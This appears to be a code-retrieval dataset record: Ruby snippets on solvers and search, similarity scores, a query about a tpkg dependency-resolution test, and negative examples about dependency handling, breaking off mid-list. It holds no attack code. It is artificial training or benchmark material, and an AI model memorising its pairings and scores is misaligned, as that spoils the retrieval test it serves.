"def eval_solution(current_solution)\n cities_dist = Array.new\n File.open(\"simane_data_from_datamaker.dump\", 'r') do |file|\n cities_dist = Marshal.load(file)\n end\n\n if cities_dist[0].length == current_solution.length\n total_distance = current_solution.inject(0) do |suma, numero|\n if current_solution.last == numero\n suma += cities_dist[current_solution.first][current_solution.last]\n suma\n else\n unless current_solution[numero + 1].nil?\n suma += cities_dist[numero][current_solution[numero + 1]]\n end\n suma\n end\n end\n return total_distance\n else\n \"cities_distances y current_solution son de diferentes tamanhos: #{cities_dist.length}, #{current_solution.length}\"\n end\nend",
"def test_DP_20\n path=\"/home/miro/NetBeansProjects/Knapsack/test/\"\n\n p=Solver.new\n\n p.read_problem(path+\"input3\")\n\n assert_equal(1995, p.dynamic)\n\n p=Solver.new\n p.read_problem(path+\"input4\")\n\n assert_equal(2168, p.dynamic)\n\n p=Solver.new\n p.read_problem(path+\"input5\")\n\n assert_equal(2623, p.dynamic)\n\n\n\n end",
"def solve\n delegatee.solve\n end",
"def fix(nonconflicts, conflicts, max_depth)\r\n\t\tmax_indices = []\r\n\t\tconflicts.each do |conflict|\r\n\t\t\tmax_indices << (conflict.similar_ingredients.length - 1)\r\n\t\tend\r\n\r\n\t\tsolution_queue = []\r\n\t\tsolution_queue << Array.new(conflicts.length, -1)\r\n\t\twhile !solution_queue.empty?\r\n\t\t\tprocessed_indices = solution_queue.shift\r\n\t\t\tcandidate = valid_solution(nonconflicts, conflicts, processed_indices)\r\n\t\t\tif !candidate.nil?\r\n\t\t\t\treturn candidate\r\n\t\t\tend\r\n\r\n\t\t\ti = 0\r\n\t\t\twhile i < processed_indices.length\r\n\t\t\t\tif processed_indices[i] != -1\r\n\t\t\t\t\ti = i + 1\r\n\t\t\t\t\tnext\r\n\t\t\t\tend\r\n\r\n\t\t\t\tmax_index = [max_depth, max_indices[i]].min\r\n\t\t\t\tfor new_index in 0..max_index\r\n\t\t\t\t\tnew_indices = Array.new(processed_indices)\r\n\t\t\t\t\tnew_indices[i] = new_index\r\n\t\t\t\t\tsolution_queue << new_indices\r\n\t\t\t\tend\r\n\t\t\t\ti = i + 1\r\n\t\t\tend\r\n\t\tend\r\n\t\treturn nil\r\n\tend",
"def find_solution\n if solve(@start_point[0], @start_point[1])\n @maze.each { |row| puts row.join(\"\") }\n else\n puts \"no solution found\"\n end\n end",
"def solver\n if checkrule(0)\n puts \"Success!!!\"\n else\n puts \"No solution found\"\n end\n end",
"def simulatedAnnealing(is,cS,cC,bSolution,bCost,temp,final_temp,alpha)\n #membuat array untuk menampung setiap solusi\n solusiTemp = {}\n solusiBestSolution = {}\n solusiBestCost= {}\n j=1 #insisialisasi\n while temp > final_temp do\n\n for i in 1..100\n #memunculkan bilangan random untuk perbandingan sekarang dengan yang baru\n x11 = fungsiRandom()\n x22 = fungsiRandom()\n nS = [x11,x22] #state baru\n nC = cost(nS) #perhitungan fungsi dari state baru\n end\n if nC < cC then #membandingkan costBaru dengan costSekarang\n cS = nS\n cC = nC\n if cC < bCost then #jika costBaru lebih kecil dari costSekarang maka bandingkan dengan bestCost\n bSolution = cS\n bCost = cC\n end\n else #jika tidak maka diliat nilai probab\n #ilitasnya lalu bandignkan dengan nilai random(0,1)\n if (prob(nC,cC,temp) > fungsiRandom01()) then\n cS = nS\n cC = nC\n end\n #menampung solusi\n solusiTemp[j] = temp\n solusiBestSolution[j] = bSolution\n solusiBestCost[j] = bCost\n end\n j = j+1\n temp = temp * alpha #Menghitung penentu iterasi temperatur\n end\n xx = solusiTemp[solusiTemp.length]\n y = bSolution\n z = bCost\n #mengembalikan nilai solusi\n return solusiTemp,solusiBestSolution,solusiBestCost,xx,y,z\n\nend",
"def solved?\n end",
"def solve!\n validate!\n\n @logger.info(\"Running Phase I\")\n PhaseIRunner.new(alpha_preferences, beta_preferences, logger: @logger).run\n\n build_solution\n end",
"def get_contestsolution\n @contestsolution = Contestsolution.find_by_id(params[:id])\n return if check_nil_object(@contestsolution)\n @contestproblem = @contestsolution.contestproblem\n @contest = @contestproblem.contest\n end",
"def main()\n rules = { # a/bc/bcd/bcdd/bcda/bcdbc/bcbc/cbc/aa/\n 'abcd' => [''],\n 'a' => ['bc'],\n 'bc' => ['bcd', 'c'],\n 'd' => ['a', 'db'],\n 'db' => ['b'],\n 'cbc' => ['ab'],\n '...' => ['a']\n }\n rows= [\n 'bd',\n ]\n moves = 10\n width = 7\n solver = Solver.new(rules, moves, width)\n game_data = GameState.new(rules, rows[0], width)\n solution = solver.find_solution(game_data)\n\n if !solution.nil?\n solution.each do |move|\n puts(move.to_s)\n end\n else\n puts 'No solution found'\n end\nend"
] | [
"0.78100836",
"0.73309666",
"0.69790393",
"0.6855173",
"0.6781733",
"0.67695904",
"0.67695904",
"0.6742616",
"0.6730781",
"0.6727398",
"0.6652725",
"0.66474867",
"0.6629942",
"0.66260386",
"0.65989566",
"0.6551165",
"0.6541718",
"0.6539794",
"0.6536312",
"0.6529831",
"0.6515702",
"0.6508003",
"0.65059036",
"0.6503424",
"0.6498645",
"0.6458423",
"0.64470106",
"0.6424946",
"0.64007694",
"0.63798064",
"0.63762945",
"0.6358345",
"0.63480705",
"0.6326636",
"0.6322192",
"0.62966704",
"0.6293486",
"0.62885326",
"0.6284685",
"0.62831455",
"0.62746644",
"0.626406",
"0.6253831",
"0.6249343",
"0.6249343",
"0.62426656",
"0.6199278",
"0.6199087",
"0.6196945",
"0.61878145",
"0.61837834",
"0.6183741",
"0.6153755",
"0.6143056",
"0.61372495",
"0.61286896",
"0.6126287",
"0.6102617",
"0.60857487",
"0.6077598",
"0.6068885",
"0.60665125",
"0.60553205",
"0.6034913",
"0.60329634",
"0.60295624",
"0.6026451",
"0.6025761",
"0.60174614",
"0.6007905",
"0.60032606",
"0.6001961",
"0.5994902",
"0.5992121",
"0.5989533",
"0.5975296",
"0.5970931",
"0.59581053",
"0.5950224",
"0.5945306",
"0.59385484",
"0.59267354",
"0.5920119",
"0.589115",
"0.5884716",
"0.5873914",
"0.5863243",
"0.5857575",
"0.5855281",
"0.584367",
"0.58337986",
"0.58328074",
"0.582312",
"0.5819614",
"0.5819445",
"0.5818217",
"0.5816923",
"0.5815644",
"0.58137584",
"0.58112663",
"0.5805857"
] | 0.0 | -1 |
This method is only used by resolve_dependencies, so the testing here is minimal. | def test_check_solution
Dir.mktmpdir('testbase') do |testbase|
tpkg = Tpkg.new(:base => testbase, :sources => @pkgfiles)
solution = nil
requirements = [{:name => 'c', :minimum_version => '1.3', :type => :tpkg}, {:name => 'd', :minimum_version => '1.3', :type => :tpkg}]
packages = {:tpkg => {}, :native => {}}
requirements.each do |req|
packages[req[:type]][req[:name]] = tpkg.available_packages_that_meet_requirement(req)
end
core_packages = ['c']
number_of_possible_solutions_checked = 0
result = nil
# Check a valid solution
solution = {:pkgs => packages[:tpkg].values.flatten}
assert_nothing_raised { result = tpkg.check_solution(solution, requirements, packages, core_packages, number_of_possible_solutions_checked) }
assert(result.has_key?(:solution))
assert_equal(packages[:tpkg].values.flatten, result[:solution])
# Check an invalid solution
xpkgfile = make_package(:output_directory => @tempoutdir, :change => { 'name' => 'x' }, :dependencies => {'y' => {}}, :remove => ['operatingsystem', 'architecture'])
metadata = Tpkg::metadata_from_package(xpkgfile)
xpkg = {:metadata => metadata}
solution[:pkgs] << xpkg
assert_nothing_raised { result = tpkg.check_solution(solution, requirements, packages, core_packages, number_of_possible_solutions_checked) }
assert(!result.has_key?(:solution))
assert(result.has_key?(:number_of_possible_solutions_checked))
assert(result[:number_of_possible_solutions_checked] > 0)
FileUtils.rm_f(xpkgfile)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def direct_dependencies; end",
"def dependencies; end",
"def dependencies; end",
"def dependencies; end",
"def dependencies=(_arg0); end",
"def resolve_dependency(_completed_operation)\n true\n end",
"def dependency_respects_ordering?; @dependency_respects_ordering; end",
"def test_resolve_dependencies\n Dir.mktmpdir('testbase') do |testbase|\n tpkg = Tpkg.new(:base => testbase, :sources => @pkgfiles)\n\n result = tpkg.resolve_dependencies([{:name => 'a', :type => :tpkg}], {:tpkg => {}, :native => {}}, ['a'])\n assert(result.has_key?(:solution))\n solution = result[:solution]\n\n # We should end up with a-1.0, b-1.0 (the specific one, not the generic\n # one), c-1.2 and d-1.2\n assert_equal(4, solution.length)\n good = ['a-1.0-1.tpkg', \"b-1.0-1-#{Metadata.clean_for_filename(tpkg.os.os)}.tpkg\", 'c-1.2-1.tpkg', 'd-1.2-1.tpkg']\n solution.each { |pkg| assert(good.any? { |g| pkg[:source].include?(g) }) }\n end\n end",
"def test_dependencies\n []\n end",
"def test_dependencies\n []\n end",
"def resolve_reference; end",
"def request_dependencies\n end",
"def dependent; end",
"def dependent; end",
"def external_dependency_checksum; end",
"def dependency_met?\n true\n end",
"def resolve\n abstract\n end",
"def before_resolution\n output.print 'Resolving dependencies...'\n end",
"def resolve\n end",
"def conscientious_require; end",
"def install_dependencies\n raise 'Not implemented'\n end",
"def testLocateDepError\n lLocatorCalled = false\n lCalled = false\n setupAppDir do\n setupRegressionUI('RDI::Test::Flows::UIFlows::RegressionUI', 'RDI::Test::Flows::UIFlows::RegressionUI::Directory') do\n # Tune the UI's behaviour\n @Installer.access_plugin('Views', 'RegressionUI') do |ioPlugin|\n ioPlugin.Locate = true\n end\n @Installer.access_plugin('LocationSelectors_RegressionUI', 'Directory') do |ioPlugin|\n # We give a wrong directory here\n ioPlugin.Directory = \"#{@RepositoryDir}/Libraries\"\n end\n # Call the installer expecting the GUI to appear\n lDesc = getSimpleDesc\n lError, lCMApplied, lIgnoredDeps, lUnresolvedDeps = @Installer.ensure_dependencies( [ lDesc ], {\n :preferred_views => [ 'RegressionUI' ]\n } )\n # Check results\n assert_equal(nil, lError)\n assert_equal( {}, lCMApplied )\n assert_equal( [], lIgnoredDeps )\n assert_equal( [ lDesc ], lUnresolvedDeps )\n # Get the plugins back\n @Installer.access_plugin('Views', 'RegressionUI') do |iPlugin|\n # Check that it was called correctly\n lCalled = iPlugin.Called\n end\n @Installer.access_plugin('LocationSelectors_RegressionUI', 'Directory') do |iPlugin|\n # Check that it was called correctly\n lLocatorCalled = iPlugin.Called\n end\n # Check that the dependency is resolved\n @Installer.access_plugin('Testers', 'Binaries') do |iPlugin|\n assert_equal(false, iPlugin.is_content_resolved?(['DummyBinary']))\n end\n end\n end\n assert_equal(true, lCalled)\n assert_equal(true, lLocatorCalled)\n end",
"def test_bad_node_deps\n check_deps_fail \"notapackage\" => :node if which('node')\n end",
"def test_bad_node_deps\n check_deps_fail \"notapackage\" => :node if which('node')\n end",
"def test_bad_chicken_deps\n check_deps_fail \"notapackage\" => :chicken if which('csc')\n end",
"def test_bad_chicken_deps\n check_deps_fail \"notapackage\" => :chicken if which('csc')\n end",
"def check_dependencies\n ok = true\n\n @config.each_pair { |type, values|\n next if !values.instance_of?(Array)\n _shortclass, cfg_name, _cfg_plural, _classname = MU::Cloud.getResourceNames(type, false)\n next if !cfg_name\n values.each { |resource|\n next if !resource.kind_of?(Hash) or resource[\"dependencies\"].nil?\n addme = []\n deleteme = []\n\n resource[\"dependencies\"].each { |dependency|\n dependency[\"their_phase\"] ||= dependency[\"phase\"]\n dependency.delete(\"phase\")\n dependency[\"my_phase\"] ||= dependency[\"no_create_wait\"] ? \"groom\" : \"create\"\n dependency.delete(\"no_create_wait\")\n # make sure the thing we depend on really exists\n sibling = haveLitterMate?(dependency['name'], dependency['type'])\n if !sibling\n MU.log \"Missing dependency: #{type}{#{resource['name']}} needs #{cfg_name}{#{dependency['name']}}\", MU::ERR\n ok = false\n next\n end\n\n # Fudge dependency declarations to quash virtual_names that we know\n # are extraneous. Note that wee can't do all virtual names here; we\n # have no way to guess which of a collection of resources is the\n # real correct one.\n if sibling['virtual_name'] == dependency['name']\n real_resources = []\n found_exact = false\n resource[\"dependencies\"].each { |dep_again|\n if dep_again['type'] == dependency['type'] and sibling['name'] == dep_again['name']\n dependency['name'] = sibling['name']\n found_exact = true\n break\n end\n }\n if !found_exact\n all_siblings = haveLitterMate?(dependency['name'], dependency['type'], has_multiple: true)\n if all_siblings.size > 0\n all_siblings.each { |s|\n newguy = dependency.clone\n newguy['name'] = s['name']\n addme << newguy\n }\n deleteme << dependency\n MU.log \"Expanding dependency which maps to virtual resources to all matching real resources\", MU::NOTICE, details: { sibling['virtual_name'] => addme }\n next\n end\n end\n end\n\n if dependency['their_phase'] == \"groom\"\n sibling['dependencies'].each { |sib_dep|\n next if sib_dep['type'] != cfg_name or sib_dep['their_phase'] != \"groom\"\n cousin = haveLitterMate?(sib_dep['name'], sib_dep['type'])\n if cousin and cousin['name'] == resource['name']\n MU.log \"Circular dependency between #{type} #{resource['name']} <=> #{dependency['type']} #{dependency['name']}\", MU::ERR, details: [ resource['name'] => dependency, sibling['name'] => sib_dep ]\n ok = false\n end\n }\n end\n\n # Check for a circular relationship that will lead to a deadlock\n # when creating resource. This only goes one layer deep, and does\n # not consider groom-phase deadlocks.\n if dependency['their_phase'] == \"groom\" or\n dependency['my_phase'] == \"groom\" or (\n !MU::Cloud.resourceClass(sibling['cloud'], type).deps_wait_on_my_creation and\n !MU::Cloud.resourceClass(resource['cloud'], type).waits_on_parent_completion\n )\n next\n end\n\n if sibling['dependencies']\n sibling['dependencies'].each { |sib_dep|\n next if sib_dep['type'] != cfg_name or sib_dep['my_phase'] == \"groom\"\n cousin = haveLitterMate?(sib_dep['name'], sib_dep['type'])\n if cousin and cousin['name'] == resource['name']\n MU.log \"Circular dependency between #{type} #{resource['name']} <=> #{dependency['type']} #{dependency['name']}\", MU::ERR, details: [ resource['name'] => dependency, sibling['name'] => sib_dep ]\n ok = false\n end\n }\n end\n }\n resource[\"dependencies\"].reject! { |dep| deleteme.include?(dep) }\n resource[\"dependencies\"].concat(addme)\n resource[\"dependencies\"].uniq!\n\n }\n }\n\n ok\n end",
"def adopt_dependencies\n super if defined? super\n end",
"def process_project_dependencies\n BRIX11.log_warning(\"missing #process_project_dependencies implementation for #{self.to_s}\")\n end",
"def resolve\n self # simple Check never has references\n end",
"def resolver; end",
"def enable_dependency_loading=(_arg0); end",
"def enable_dependency_loading=(_arg0); end",
"def private; end",
"def resolve_dependencies\n _pt_resolve_dependencies\n\n puts \"plugin hook after resolve_dependencies\"\n\n pt_internal = PT_internal.instance\n\n\n specifications = analysis_result.specifications\n specs_to_modify = specifications.select do |s|\n pt_internal.l_names_using_binary.index(s.name)\n end\n\n specs_to_modify.map do |s|\n # :exclude_files has no getter\n exclude_files = [s.attributes_hash[\"exclude_files\"]]\n\n s.exclude_files = [exclude_files, PT::EXCLUDE_SOURCE_PATTERN].flatten\n\n s.subspecs.each do |subs|\n exclude_files = [subs.attributes_hash[\"exclude_files\"]]\n subs.exclude_files = [exclude_files, PT::EXCLUDE_SOURCE_PATTERN].flatten\n end\n\n end\n end",
"def fetch_development_dependencies # :nodoc:\n end",
"def testPropertyAliasesContext\n setRepository('DeliverablesProcessExistingDependency') do |iRepoDir|\n runFSCMS(['Build', '--', '--target', 'TestType/TestID2/0.3/TestDeliverable'])\n assert(File.exists?(\"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable\"))\n assert(!File.exists?(\"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable/BuiltFile\"))\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID2/0.3/Deliverables/TestDeliverable/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal([\n $FSCMSTest_RepositoryToolsDir,\n \"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable/Property2Value\"\n ], iFile.read.split(\"\\n\"))\n end\n end\n end",
"def load_dependencies( file_list, force_require=true )\r\n loader = DependencyLoader.new( file_list, force_require )\r\n loader.load_dependencies\r\nend",
"def testBuild2LevelsDependency\n setRepository('DeliverablesProcessDependency') do |iRepoDir|\n runFSCMS(['Build', '--', '--target', 'TestType/TestID3/0.1/TestDeliverable'])\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal($FSCMSTest_RepositoryToolsDir, iFile.read)\n end\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID2/0.1/Deliverables/TestDeliverable/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal([\n $FSCMSTest_RepositoryToolsDir,\n \"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable\"\n ], iFile.read.split(\"\\n\"))\n end\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID3/0.1/Deliverables/TestDeliverable/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal([\n $FSCMSTest_RepositoryToolsDir,\n \"#{iRepoDir}/TestType/TestID2/0.1/Deliverables/TestDeliverable\"\n ], iFile.read.split(\"\\n\"))\n end\n end\n end",
"def dependencies\n raise \"#{self.class} needs to overwrite dependencies\"\n end",
"def check_for_requirements; end",
"def testBuildProcessDirDependency\n setRepository('DeliverablesProcessDependency') do |iRepoDir|\n runFSCMS(['Build', '--', '--target', 'TestType/TestID2/0.2/TestDeliverable'])\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal($FSCMSTest_RepositoryToolsDir, iFile.read)\n end\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID2/0.2/Deliverables/TestDeliverable/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal(\"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable\", iFile.read)\n end\n end\n end",
"def testDontBuildBuiltDependency\n setRepository('DeliverablesProcessExistingDependency') do |iRepoDir|\n runFSCMS(['Build', '--', '--target', 'TestType/TestID2/0.1/TestDeliverable'])\n assert(File.exists?(\"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable\"))\n assert(!File.exists?(\"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable/BuiltFile\"))\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID2/0.1/Deliverables/TestDeliverable/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal([\n $FSCMSTest_RepositoryToolsDir,\n \"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable\"\n ], iFile.read.split(\"\\n\"))\n end\n end\n end",
"def resolve_dependencies!\n return unless Config.resolve? && targets.any?\n\n puts 'resolving dependencies...'\n each_threaded(targets) do |target|\n Depends.resolve(target, self)\n end\n end",
"def resolve(env)\n raise \"abstract method!\"\n end",
"def get_dependencies\n @dependencies\n end",
"def enable_dependency_loading; end",
"def enable_dependency_loading; end",
"def dependencies_resolved?\n !@resolved_dependencies.nil?\n end",
"def check_for_libraries; end",
"def testLocateDep\n lLocatorCalled = false\n lCalled = false\n setupAppDir do\n setupRegressionUI('RDI::Test::Flows::UIFlows::RegressionUI', 'RDI::Test::Flows::UIFlows::RegressionUI::Directory') do\n # Tune the UI's behaviour\n @Installer.access_plugin('Views', 'RegressionUI') do |ioPlugin|\n ioPlugin.Locate = true\n end\n @Installer.access_plugin('LocationSelectors_RegressionUI', 'Directory') do |ioPlugin|\n ioPlugin.Directory = \"#{@RepositoryDir}/Binaries\"\n end\n # Call the installer expecting the GUI to appear\n lDesc = getSimpleDesc\n lError, lCMApplied, lIgnoredDeps, lUnresolvedDeps = @Installer.ensure_dependencies( [ lDesc ], {\n :preferred_views => [ 'RegressionUI' ]\n } )\n # Check results\n assert_equal(nil, lError)\n assert_equal( { 'DummyBinary' => [ [ 'SystemPath', \"#{@RepositoryDir}/Binaries\" ] ] }, lCMApplied )\n assert_equal( [], lIgnoredDeps )\n assert_equal( [], lUnresolvedDeps )\n # Get the plugins back\n @Installer.access_plugin('Views', 'RegressionUI') do |iPlugin|\n # Check that it was called correctly\n lCalled = iPlugin.Called\n end\n @Installer.access_plugin('LocationSelectors_RegressionUI', 'Directory') do |iPlugin|\n # Check that it was called correctly\n lLocatorCalled = iPlugin.Called\n end\n # Check that the dependency is resolved\n @Installer.access_plugin('Testers', 'Binaries') do |iPlugin|\n assert_equal(true, iPlugin.is_content_resolved?(['DummyBinary']))\n end\n end\n end\n assert_equal(true, lCalled)\n assert_equal(true, lLocatorCalled)\n end",
"def resolve\n r = Gem::DependencyResolver.new(@dependencies)\n r.resolve\n end",
"def expand_dependency(dependency, parent)\n\t\t\t\t# The job of this function is to take a dependency and turn it into 0 or more provisions. The dependency could be a normal fully-qualified name or a wildcard. It's not clear at which point pattern matching should affect dependency resolution, but it seems logical since it depends on the available provisions that it's done here.\n\t\t\t\t# Another benefit is that it introduces a fixed point of reference for expanding dependencies. When the resolver invokes this method, it can be assured that it will return the same result.\n\t\t\t\tif dependency.wildcard?\n\t\t\t\t\treturn expand_wildcard(dependency, parent)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# Mostly, only one package will satisfy the dependency...\n\t\t\t\tviable_providers = @providers.select{|provider| provider.provides? dependency}\n\t\t\t\t\n\t\t\t\t# puts \"** Found #{viable_providers.collect(&:name).join(', ')} viable providers.\"\n\t\t\t\t\n\t\t\t\tif viable_providers.size == 1\n\t\t\t\t\tprovider = viable_providers.first\n\t\t\t\t\tprovision = provision_for(provider, dependency)\n\t\t\t\t\t\n\t\t\t\t\t# The best outcome, a specific provider was named:\n\t\t\t\t\treturn [provision]\n\t\t\t\telsif viable_providers.size > 1\n\t\t\t\t\t# ... however in some cases (typically where aliases are being used) an explicit selection must be made for the build to work correctly.\n\t\t\t\t\texplicit_providers = filter_by_selection(viable_providers)\n\t\t\t\t\t\n\t\t\t\t\t# puts \"** Filtering to #{explicit_providers.collect(&:name).join(', ')} explicit providers.\"\n\t\t\t\t\t\n\t\t\t\t\tif explicit_providers.size != 1\n\t\t\t\t\t\t# If we were unable to select a single package, we may use the priority to limit the number of possible options:\n\t\t\t\t\t\texplicit_providers = viable_providers if explicit_providers.empty?\n\t\t\t\t\t\t\n\t\t\t\t\t\texplicit_providers = filter_by_priority(explicit_providers)\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif explicit_providers.size == 0\n\t\t\t\t\t\t# No provider was explicitly specified, thus we require explicit conflict resolution:\n\t\t\t\t\t\t@conflicts[dependency] = viable_providers\n\t\t\t\t\telsif explicit_providers.size == 1\n\t\t\t\t\t\tprovider = explicit_providers.first\n\t\t\t\t\t\tprovision = provision_for(provider, dependency)\n\t\t\t\t\t\t\n\t\t\t\t\t\t# The best outcome, a specific provider was named:\n\t\t\t\t\t\treturn [provision]\n\t\t\t\t\telse\n\t\t\t\t\t\t# Multiple providers were explicitly mentioned that satisfy the dependency.\n\t\t\t\t\t\t@conflicts[dependency] = explicit_providers\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn []\n\t\t\tend",
"def collect_dependencies(dependency, known_dependencies: {})\n dep_spec = dependency.matching_specs\n return known_dependencies if dep_spec.empty?\n\n dep_spec = dep_spec.first\n known_dependencies[dep_spec.name] = dep_spec.version\n dep_spec.dependencies.each do |dep|\n unless known_dependencies.has_key?(dep.name)\n collect_dependencies(dep, known_dependencies: known_dependencies)\n end\n end\n known_dependencies\n end",
"def touch_dependency source, specfile\n expect( cover_source_by( source, specfile)).to be_true\nend",
"def realize_dependencies\n dependencies.each do |dependency|\n dependency.realize\n end\n end",
"def dependencies\n\t\t0\n\tend",
"def dependencies\n spec.dependencies\n end",
"def dependencies\n spec.dependencies\n end",
"def resolve_dependencies\r\n @nodes.each do |node|\r\n puts \"processing #{node}\"\r\n\r\n node.outgoing_dependencies do |dependency|\r\n providers = nodes_satisfying(dependency.target)\r\n node.add_dependency(dependency, providers)\r\n end\r\n \r\n node.dependencies.values.each { |vals| vals.sort! }\r\n end\r\n end",
"def allow_missing?(dependency)\n false\n end",
"def resolve\n locking_dg = Molinillo::DependencyGraph.new\n Molinillo::Resolver.new(self, self).resolve(@needed.map {|d| DependencyRequest.new d, nil }, locking_dg).tsort.map(&:payload).compact\n rescue Molinillo::VersionConflict => e\n conflict = e.conflicts.values.first\n raise Gem::DependencyResolutionError, Conflict.new(conflict.requirement_trees.first.first, conflict.existing, conflict.requirement)\n ensure\n @output.close if defined?(@output) and !debug?\n end",
"def initial_dependencies\n []\n end",
"def testBuildProcessParameterDependency\n setRepository('DeliverablesProcessDependency') do |iRepoDir|\n runFSCMS(['Build', '--', '--target', 'TestType/TestID2/0.3/TestDeliverable'])\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal($FSCMSTest_RepositoryToolsDir, iFile.read)\n end\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID2/0.3/Deliverables/TestDeliverable/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal([\n $FSCMSTest_RepositoryToolsDir,\n \"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable\"\n ], iFile.read.split(\"\\n\"))\n end\n end\n end",
"def require_matched_dependency_version\n false\n end",
"def delete_dependencies\n raise 'Not implemented'\n end",
"def test_cyclic\n end",
"def dependency_unmet?(*args, &block); end",
"def test_bad_rubinius_deps\n check_deps_fail \"notapackage\" => :rbx if which('rbx')\n end",
"def test_bad_rubinius_deps\n check_deps_fail \"notapackage\" => :rbx if which('rbx')\n end",
"def testPropertyAliases\n setRepository('DeliverablesProcessExistingDependency') do |iRepoDir|\n runFSCMS(['Build', '--', '--target', 'TestType/TestID2/0.2/TestDeliverable'])\n assert(File.exists?(\"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable\"))\n assert(!File.exists?(\"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable/BuiltFile\"))\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID2/0.2/Deliverables/TestDeliverable/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal([\n $FSCMSTest_RepositoryToolsDir,\n 'Property1Value'\n ], iFile.read.split(\"\\n\"))\n end\n end\n end",
"def test_no_build_deps\n c = Control.new(__method__)\n c.parse!\n assert_equal(nil, c.source.fetch('build-depends', nil),\n \"Found a build dep #{c.source.fetch('build-depends', nil)}\")\n end",
"def resolve!\n raise \"resolve! must be implemented for class #{self.class}\"\n end",
"def dependencies\n @dependencies ||= {}\n end",
"def testBuildProcessCmdDependency\n setRepository('DeliverablesProcessDependency') do |iRepoDir|\n runFSCMS(['Build', '--', '--target', 'TestType/TestID2/0.1/TestDeliverable'])\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal($FSCMSTest_RepositoryToolsDir, iFile.read)\n end\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID2/0.1/Deliverables/TestDeliverable/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal([\n $FSCMSTest_RepositoryToolsDir,\n \"#{iRepoDir}/TestType/TestID1/0.1/Deliverables/TestDeliverable\"\n ], iFile.read.split(\"\\n\"))\n end\n end\n end",
"def runtime_dependencies\n dependencies.select(&:runtime?)\n end",
"def with_optional_dependency\n yield if block_given?\nrescue LoadError # rubocop:disable Lint/SuppressedException\nend",
"def with_optional_dependency\n yield if block_given?\nrescue LoadError # rubocop:disable Lint/SuppressedException\nend",
"def package_setup\n raise NotImplementedError\n end",
"def resolve_pull_request_dependencies(pull_requests)\n OverridesRetriever.new(client, pull_requests).resolve_dependencies\n end",
"def resolves?; @abstract; end",
"def dependencies\n @dependencies ||= []\n end",
"def check_dependencies\n fetch_module_dependencies.map do |dependency, constraint|\n dependency = dependency.sub('-', '/')\n current = dependency == @updated_module ? SemanticPuppet::Version.parse(@updated_module_version) : @forge.get_current_version(dependency)\n [dependency, constraint, current, constraint.include?(current)]\n end\n end",
"def direct_dependency(type, result = T.unsafe(nil)); end",
"def refresh_dependencies(options = {}); end",
"def dependent=(_arg0); end",
"def dependent=(_arg0); end",
"def dependencies\n []\n end",
